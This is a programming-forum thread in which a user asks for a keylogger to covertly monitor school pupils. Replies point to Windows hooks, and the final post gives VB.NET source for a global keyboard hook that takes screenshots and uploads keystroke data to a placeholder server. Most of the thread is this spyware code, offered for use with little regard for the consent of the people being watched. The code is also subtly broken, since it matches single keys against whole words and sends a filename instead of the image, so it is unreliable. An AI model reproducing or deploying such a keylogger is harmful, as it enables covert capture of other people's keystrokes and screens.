Question keylogger and screenshots

st richards

New member
Joined
Jul 23, 2008
Messages
3
Programming Experience
Beginner
hi,

first of all i posted here as i don't know where to post this

for my job i need to make a keylogger that will take screen shots and sends them to a server if certain words or phrases are used does anyone know how this is could be accomplished?

thanks

ps. this is not for malicious purposes it is for network monitoring in a school
 
You need to look into using the windows hooks.

However please be aware this could and probably does breach the data protection act.
 
hi thanks i will but i dont have to worry about the data protection act being education we can over rule that by forcing pupils to sign an agreement that allows us to monitor them
 
forcing pupils to sign an agreement
That sounds even worse than keylogging... OMG what a school, I could understand national security monitoring at any level, but not a school administration. :rolleyes: But we're not here to judge your means as long as your not breaking the law, you can easily on the internet find tools you can use in Vb.Net application for keylogging and taking screenshots, have you even tried searching?
 
hi yes i have tried searching and so far have found nothing can you advise where to search but i feel now i should explain that the reason my boss wants us to do this is an attempt to try and find any attempts at things like pedophile grooming via things like email
 
A good search attempt would include "vb.net keylogger" and "vb.net screenshot", should get you bang on.
 
hi,

first of all i posted here as i don't know where to post this

for my job i need to make a keylogger that will take screen shots and sends them to a server if certain words or phrases are used does anyone know how this is could be accomplished?

thanks

ps. this is not for malicious purposes it is for network monitoring in a school

I can help you with this, though you would have to program the server side of it. To back up my offer, here's a video demonstrating one of my programs I wrote:
It would be simple to arrange it for keywords with the snap shot. If you are interested still after watching the video, let me know.
For the record, the programs I design are for educational use only, due to the work I do in security. Please use them accordingly and to legal standards.
 
This is more to the point. I wrote it for high performance with error handling:
Keylogger | Server | Phrase | ScreenShot:
   Private Const WH_KEYBOARD_LL As Integer = 13
    Private Const WM_KEYDOWN As Integer = &H100
    Private Const WM_KEYUP As Integer = &H101
    Private Shared _hookID As IntPtr = IntPtr.Zero
    Private Shared _filterWords As String() = {"example", "test", "keyword"}
    Private Shared _serverUrl As String = "http://yourserver.com/upload"

    Public Shared Sub Main()
        _hookID = SetHook(New LowLevelKeyboardProc(AddressOf HookCallback))
        Application.Run()
        UnhookWindowsHookEx(_hookID)
    End Sub

    Private Shared Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
        Using curProcess As Process = Process.GetCurrentProcess()
            Using curModule As ProcessModule = curProcess.MainModule
                Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)
            End Using
        End Using
    End Function

    Private Shared Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
        If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
            Dim vkCode As Integer = Marshal.ReadInt32(lParam)
            Dim key As String = CType(vkCode, Keys).ToString()
            If _filterWords.Any(Function(word) key.Contains(word, StringComparison.OrdinalIgnoreCase)) Then
                CaptureScreenshot()
                UploadToServer(key)
            End If
        End If
        Return CallNextHookEx(_hookID, nCode, wParam, lParam)
    End Function

    Private Shared Sub CaptureScreenshot()
        Dim bounds As Rectangle = Screen.GetBounds(Point.Empty)
        Using bitmap As New Bitmap(bounds.Width, bounds.Height)
            Using g As Graphics = Graphics.FromImage(bitmap)
                g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size)
            End Using
            bitmap.Save("screenshot.png")
        End Using
    End Sub

    Private Shared Sub UploadToServer(key As String)
        Try
            Dim request As HttpWebRequest = CType(WebRequest.Create(_serverUrl), HttpWebRequest)
            request.Method = "POST"
            request.ContentType = "application/x-www-form-urlencoded"
            Dim postData As String = "key=" & WebUtility.UrlEncode(key) & "&screenshot=" & WebUtility.UrlEncode("screenshot.png")
            Dim data As Byte() = System.Text.Encoding.UTF8.GetBytes(postData)
            request.ContentLength = data.Length
            Using stream As Stream = request.GetRequestStream()
                stream.Write(data, 0, data.Length)
            End Using
            Using response As HttpWebResponse = CType(request.GetResponse(), HttpWebResponse)
                ' Handle response if needed
            End Using
        Catch ex As Exception
            ' Handle exceptions
        End Try
    End Sub

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As LowLevelKeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As Boolean
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
    End Function

    Private Delegate Function LowLevelKeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
 
Back
Top